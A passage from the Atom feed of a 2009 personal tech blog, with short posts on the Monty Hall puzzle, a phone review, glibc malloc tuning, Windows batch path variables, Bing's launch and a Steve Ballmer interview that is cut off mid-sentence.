src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8135616978521337212</id><published>2009-08-31T22:21:00.000-07:00</published><updated>2009-08-31T22:22:43.793-07:00</updated><title type='text'>Monty Hall Problem</title><content type='html'>&lt;p&gt;&lt;b&gt;Puzzle&lt;/b&gt;: Alice places three identical boxes on a table. She has concealed a precious ruby in one of them. The other two boxes are empty. Bob is allowed to pick one of the boxes. Among the two boxes remaining on the table, at least one is empty. Alice then removes one empty box from the table. Bob is now allowed to open either the box he picked, or the box lying on the table. If he opens the box with the ruby, he gets a kiss from Alice (which he values more than the ruby, of course). What should Bob do?&lt;/p&gt; &lt;p&gt;&lt;b&gt;Source&lt;/b&gt;: The problem is popularly known as the &lt;a href="http://en.wikipedia.org/wiki/Monty_Hall_problem"&gt;Monty Hall Problem&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;There’s a &lt;a href="http://www.youtube.com/watch?v=mhlc7peGlGg"&gt;YouTube video&lt;/a&gt; explaining the solution!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/mhlc7peGlGg&amp;amp;hl=en&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/mhlc7peGlGg&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8135616978521337212?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8135616978521337212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8135616978521337212' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8135616978521337212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8135616978521337212'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/08/monty-hall-problem.html' title='Monty Hall Problem'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5762057580662795455</id><published>2009-08-27T23:27:00.001-07:00</published><updated>2009-08-27T23:32:00.574-07:00</updated><title type='text'>Harley Davidson, Welcome to India</title><content type='html'>Choose Your Ride: &lt;a href="http://www.harley-davidson.in/"&gt;Harley Davidson in India&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.harley-davidson.in/images/maintitle_motorcycles.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 475px; height: 41px;" src="http://www.harley-davidson.in/images/maintitle_motorcycles.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.harley-davidson.in/images/harley_davidson_motorcycles/harley_image_heritage_softail_classic.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 749px; height: 499px;" src="http://www.harley-davidson.in/images/harley_davidson_motorcycles/harley_image_heritage_softail_classic.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5762057580662795455?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5762057580662795455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5762057580662795455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5762057580662795455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5762057580662795455'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/08/harley-davidson-welcome-to-india.html' title='Harley Davidson, Welcome to India'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-2100797985737732894</id><published>2009-08-06T21:29:00.001-07:00</published><updated>2009-08-06T21:39:29.851-07:00</updated><title type='text'>My new touch phone...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bVcXbCAptb0/SnutzR2ExnI/AAAAAAAAFpo/dSokAiaicMI/s1600-h/samsung-s5600.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 170px; height: 320px;" src="http://3.bp.blogspot.com/_bVcXbCAptb0/SnutzR2ExnI/AAAAAAAAFpo/dSokAiaicMI/s320/samsung-s5600.jpg" alt="" id="BLOGGER_PHOTO_ID_5367074477417219698" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 102); font-weight: bold;"&gt;&lt;a href="http://in.samsungmobile.com/mobile-phones/samsung-star"&gt;Samsung star&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Brownie points:&lt;/span&gt;&lt;br /&gt;* Hasn't crashed even once ++ (Since last one week of use)&lt;br /&gt;* Touch phone for Basic users +&lt;br /&gt;* 3.2 megapixel camera +&lt;br /&gt;* Good and user friendly UI ++&lt;br /&gt;* Feature rich&lt;br /&gt;* Accelerometer...+&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(102, 102, 102);"&gt;Negative points:&lt;/span&gt;&lt;br /&gt;* No wifi --&lt;br /&gt;* No flash in camera -&lt;br /&gt;* Proprietary OS, few apps available.&lt;br /&gt;* Can't be geeky with this phone, Except for few Java apps.&lt;br /&gt;* Touch scroll sluggish..but works.&lt;br /&gt;&lt;br /&gt;Would wait for Android to come into Indian market.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-2100797985737732894?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/2100797985737732894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=2100797985737732894' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2100797985737732894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2100797985737732894'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/08/my-new-touch-phone.html' title='My new touch phone...'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bVcXbCAptb0/SnutzR2ExnI/AAAAAAAAFpo/dSokAiaicMI/s72-c/samsung-s5600.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3666976794299829101</id><published>2009-08-05T05:28:00.000-07:00</published><updated>2009-08-05T05:47:57.763-07:00</updated><title type='text'>Malloc / Free performance Tuning</title><content type='html'>Did you ever worry that malloc and free are your performance bottlenecks?&lt;br /&gt;&lt;br /&gt;Or did you write your own memory manager? Was it better than the default glibc implementation of malloc?May be!&lt;br /&gt;&lt;br /&gt;Here is an eye opening document: &lt;a href="http://www.tortolaproject.com/papers/ezolt.pdf" class="l" onmousedown="return clk(this.href,'','','res','1','')"&gt;A Study in Malloc: A Case of Excessive Minor Faults&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When allocating and de-allocating large (&gt;128k) amounts of memory on Linux, the default memory management tunings have a high performance penalty.&lt;br /&gt;&lt;br /&gt;This is because mmap has more overhead than brk system call. Without going into the details (which you can anyway get after reading the above document), the main performance penatly was because of differances between brk and mmap call.&lt;br /&gt;&lt;br /&gt;brk() causes the process heap memory (to be increased or decreased). So does mmap, but it is more flexible and returns the memory to the system immediately when freed.&lt;br /&gt;&lt;br /&gt;Info malloc gets this:&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;| 3.2.2.6 | "Efficiency Considerations for malloc"&lt;br /&gt;&lt;br /&gt;   Very large blocks (much larger than a page) are allocated with&lt;br /&gt;`mmap' (anonymous or via `/dev/zero') by this implementation.  This has&lt;br /&gt;the great advantage that these chunks are returned to the system&lt;br /&gt;immediately when they are freed.  Therefore, it cannot happen that a&lt;br /&gt;large chunk becomes "locked" in between smaller ones and even after&lt;br /&gt;calling `free' wastes memory.  The size threshold for `mmap' to be used&lt;br /&gt;can be adjusted with `mallopt'.  The use of `mmap' can also be disabled&lt;br /&gt;completely.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;It is interesting to find that there are malloc options that can be provided either at runtime (by environment variables) or compile time using mallopt() call.&lt;br /&gt;&lt;br /&gt;Basically, to improve malloc performance, one has to turn off mmap usage and malloc trimming, by either:&lt;br /&gt;1) Adding the following code to a program before&lt;br /&gt;heavily using malloc:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;mallopt(M_MAP_MAX,0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;mallopt(M_TRIM_THRESHOLD,-1)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2) Setting the following environmental variables: (Note the trailing underscores)&lt;br /&gt;&lt;br /&gt;For sh compatible shells:&lt;br /&gt;&lt;br /&gt;export MALLOC_MMAP_MAX_=0&lt;br /&gt;export MALLOC_TRIM_THRESHOLD_=-1&lt;br /&gt;&lt;br /&gt;Amazing!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3666976794299829101?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3666976794299829101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3666976794299829101' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3666976794299829101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3666976794299829101'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/08/malloc-free-performance-tuning.html' title='Malloc / Free performance Tuning'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-6420009946222404305</id><published>2009-07-31T10:35:00.000-07:00</published><updated>2009-07-31T10:36:43.299-07:00</updated><title type='text'></title><content type='html'>Keeping your head straight and clear is the most difficult thing in Life.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-6420009946222404305?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/6420009946222404305/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=6420009946222404305' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6420009946222404305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6420009946222404305'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/07/keeping-your-head-straight-is-most.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8876492747359593937</id><published>2009-07-08T20:20:00.000-07:00</published><updated>2009-07-09T02:14:53.207-07:00</updated><title type='text'>On the road to mediocrity</title><content type='html'>&lt;p&gt;I am looking for a Job! And this is what I read today morning on &lt;a href="http://sethgodin.typepad.com/seths_blog/2009/06/on-the-road-to-mediocrity.html"&gt;Seth godin Blog&lt;/a&gt; to pep myself up!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;Quote: from &lt;a href="http://sethgodin.typepad.com/seths_blog/2009/06/on-the-road-to-mediocrity.html"&gt;on the road to mediocrity&lt;/a&gt;&lt;p style="font-style: italic;"&gt;Along the way, we settle&lt;/p&gt;&lt;p style="font-style: italic;"&gt;We settle for something not quite right, or an outfit that isn't our best look, or a job that doesn't quite maximize our talents. We settle for relationships that don't give us joy, or a website that's, "good enough."&lt;/p&gt;&lt;p style="font-style: italic;"&gt;The only way to get mediocre is one step at a time.&lt;/p&gt;&lt;p style="font-style: italic;"&gt;You don't &lt;em&gt;have&lt;/em&gt; to settle. It's a choice you get to make every day.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8876492747359593937?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8876492747359593937/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8876492747359593937' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8876492747359593937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8876492747359593937'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/07/on-road-to-mediocrity.html' title='On the road to mediocrity'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-2345199442155188756</id><published>2009-07-08T20:06:00.000-07:00</published><updated>2009-07-08T20:10:33.241-07:00</updated><title type='text'>Whom to pay || How much to pay?</title><content type='html'>&lt;a href="http://blogs.harvardbusiness.org/hbr/how-to-fix-executive-pay/2009/07/whom-to-pay-is-more-important-than-how-much-or-how.html"&gt;Harvard Business Review: whom-to-pay-is-more-important-than-how-much&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Companies need to pay reasonably well in order to attract and retain the right people in the first place. However, the purpose of compensation in my view and Jim's research is not to "motivate" the right behaviors from the wrong people. Compensation should be reasonable because it is part of human nature to expect fair treatment when it comes to compensation, which should be somehow proportional to our efforts and/or results.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;This sense of a fair deal seems to be genetically anchored. Even primates respond with aggression or anger when they feel unfairly treated. This has been revealed by some fascinating research with capuchin monkeys.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;In their experiments the primatologists created a market in which monkeys were trained to give them a pebble in exchange for food. While 95% of the monkeys participated in that market initially, when relative rewards became unfair only 20% of the monkeys continued to trade... and some got so frustrated they simply tossed away their pebbles!&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-2345199442155188756?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/2345199442155188756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=2345199442155188756' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2345199442155188756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2345199442155188756'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/07/whom-to-pay-how-much-to-pay.html' title='Whom to pay || How much to pay?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7219371428526829546</id><published>2009-06-22T05:10:00.000-07:00</published><updated>2009-06-22T05:50:34.161-07:00</updated><title type='text'>%cd and %~dp0</title><content type='html'>We recently had to create a batch file for Windows Environment which will be invoked by an installer.&lt;br /&gt;&lt;br /&gt;Now, the problem is that batch file has to invoke a few processes, which must set LD_LIBRARY_PATH relative to the present working directory. i.e. to `pwd`..\lib; where `pwd` is where my batch file resides.&lt;br /&gt;&lt;br /&gt;Now, since the batch file can be invoked from some other directory, `pwd`\..\lib will not obviously work&lt;br /&gt;&lt;br /&gt;Thus, comes a savior: %~dp0&lt;br /&gt;This is a variable that tells the path where the batch file resides.&lt;br /&gt;&lt;br /&gt;`pwd` on Linux is same as %cd on Windows.It gives the present working directory.&lt;br /&gt;&lt;br /&gt;Thus, if your batch script resides in d:\snap\ and is invoked with pwd as c:\windows\&lt;br /&gt;&lt;br /&gt;%dp0 will give d:\snap\ and %cd will give c:\windows.&lt;br /&gt;&lt;br /&gt;Helpful Link:&lt;br /&gt;&lt;a href="http://www.911cd.net/forums//index.php?showtopic=3730"&gt;http://www.911cd.net/forums//index.php?showtopic=3730&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7219371428526829546?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7219371428526829546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7219371428526829546' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7219371428526829546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7219371428526829546'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/06/cd-and-dp0.html' title='%cd and %~dp0'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3056727085028249195</id><published>2009-06-12T01:15:00.000-07:00</published><updated>2009-06-12T01:16:56.474-07:00</updated><title type='text'>is Technology  Invading Privacy?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgs.xkcd.com/comics/latitude.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 530px; height: 333px;" src="http://imgs.xkcd.com/comics/latitude.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;h3&gt;&lt;br /&gt;&lt;/h3&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3056727085028249195?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3056727085028249195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3056727085028249195' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3056727085028249195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3056727085028249195'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/06/is-technology-invading-privacy.html' title='is Technology  Invading Privacy?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3068046140521171804</id><published>2009-06-02T02:40:00.000-07:00</published><updated>2009-06-02T03:00:38.274-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft bing'/><title type='text'>Bing Bing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bVcXbCAptb0/SiT04ftX6qI/AAAAAAAAFDg/yTUTuf-qL58/s1600-h/Screenshot-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 92px;" src="http://3.bp.blogspot.com/_bVcXbCAptb0/SiT04ftX6qI/AAAAAAAAFDg/yTUTuf-qL58/s320/Screenshot-1.png" alt="" id="BLOGGER_PHOTO_ID_5342664309389912738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When I was in Microsoft, Steve Ballmer made a comment in one of the annual company meetings.&lt;br /&gt;&lt;br /&gt;"Google may be one of the leaders in search, but we will be the leaders in making money out of Search..."  or something like that...&lt;br /&gt;&lt;br /&gt;Looks like time has come when Microsodt investment in the search space has started to output results.&lt;br /&gt;&lt;br /&gt;Welcome to &lt;a href="http://www.bing.com/"&gt;www.bing.com&lt;/a&gt;, As Cliche' it may sound, it is beta.&lt;br /&gt;&lt;br /&gt;The interface is soft and serene, with nice colors and pics in the background. A little away from boring simplicity of Google.&lt;br /&gt;&lt;br /&gt;I tried a few searches (like Google on bing) and it came up with one and only one result:&lt;br /&gt;&lt;div style="color: rgb(51, 51, 51);" class="nc_tc"&gt;&lt;h2&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/h2&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="color: rgb(51, 51, 51);" class="nc_tc"&gt;&lt;h2&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;Best match&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://www.google.com/" onmousedown="return si_T('&amp;amp;ID=SERP,141')"&gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;cite&gt;www.&lt;strong&gt;google&lt;/strong&gt;.com&lt;/cite&gt;&lt;/span&gt;&lt;/div&gt;&lt;/h2&gt;&lt;/div&gt;&lt;p style="color: rgb(51, 51, 51);"&gt;&lt;span style="font-size:85%;"&gt;Enables users to search the Web, Usenet, and images. Features include PageRank, caching and translation of results, and an option to find similar pages. The company's focus is ... &lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="color: rgb(51, 51, 51);"&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/p&gt;And with a link for : Search other results for google.&lt;br /&gt;Thank you bing, I must say, you saved me from going through endless lists of results. I am tired of it.&lt;br /&gt;&lt;br /&gt;Show results from "your Geographical location" is also a nice Idea..&lt;br /&gt;All in all a promising product from Microsoft.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3068046140521171804?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3068046140521171804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3068046140521171804' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3068046140521171804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3068046140521171804'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/06/bing-bing.html' title='Bing Bing'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_bVcXbCAptb0/SiT04ftX6qI/AAAAAAAAFDg/yTUTuf-qL58/s72-c/Screenshot-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5434280496469237649</id><published>2009-05-20T01:25:00.000-07:00</published><updated>2009-05-20T01:31:11.828-07:00</updated><title type='text'>Areas you want to improve as a leader?</title><content type='html'>&lt;span class="italic"&gt;This interview of&lt;/span&gt; &lt;span class="bold"&gt;&lt;span class="italic"&gt;Steven A. Ballmer&lt;/span&gt;&lt;/span&gt;, &lt;span class="italic"&gt; the chief executive&lt;/span&gt;&lt;span class="italic"&gt; of MS was conducted and condensed by &lt;/span&gt;&lt;span class="bold"&gt;&lt;span class="italic"&gt;Adam Bryant&lt;/span&gt;&lt;/span&gt;&lt;span class="italic"&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="javascript:pop_me_up2('http://www.nytimes.com/imagepages/2009/05/17/business/17corner.ready.html',%20'17corner_ready',%20'width=425,height=600,scrollbars=yes,toolbars=no,resizable=yes')"&gt;&lt;img style="width: 118px; height: 171px;" src="http://graphics8.nytimes.com/images/2009/05/17/business/17corner-190.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span class="italic"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="bold"&gt;Good read, some answers that I liked are here:&lt;br /&gt;&lt;br /&gt;Q. &lt;/span&gt;&lt;span class="italic"&gt;Are there areas you want to improve as a leader?&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div id="articleInline" class="inlineLeft"&gt;&lt;div id="inlineBox"&gt;&lt;div class="image"&gt;&lt;a href="javascript:pop_me_up2('http://www.nytimes.com/imagepages/2009/05/17/business/17corner.ready.html',%20'17corner_ready',%20'width=425,height=600,scrollbars=yes,toolbars=no,resizable=yes')"&gt;&lt;/a&gt;&lt;span class="bold"&gt;A&lt;/span&gt;. I race too much. My brain races too much, so even if I’ve listened to everything somebody said, unless you show that you’ve digested it, people don’t think they are being well heard. Sometimes you really don’t hear because you’re racing. It’s just the way my brain works. My brain is just chop, chop, chop, chop, chop. And so, if you really want to get the best out of people, you have to really hear them and they have to feel like they’ve been really heard. So I’ve got to learn to slow down and improve in that dimension, both to make me better and to make the people around me better.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;span class="bold"&gt;Q.&lt;/span&gt; &lt;span class="italic"&gt;What would you like business schools to focus on more, or less?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="bold"&gt;A.&lt;/span&gt; I’d like to see more emphasis on the importance of taking the long view. Companies focus too much on short-term results in business. It takes patience to build a great business, and sometimes you have to be willing to make the long-term investment and then keep at it if you want to succeed. &lt;/p&gt;&lt;p&gt;&lt;span class="bold"&gt;Q.&lt;/span&gt; &lt;span class="italic"&gt;If you could teach any b-school course, including one that you create, what would it be?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="bold"&gt;A&lt;/span&gt;. Leadership. Microsoft has grown from 30 people to more than 90,000 since I started, so I’ve had the chance to play a leadership role at practically every stage imaginable in a company’s growth and development. I’ve learned a lot about leadership along the way from some great people that I’ve worked with and through experience.&lt;/p&gt; I’ve come to believe that to be a great leader, you have to combine thought leadership, business leadership and great 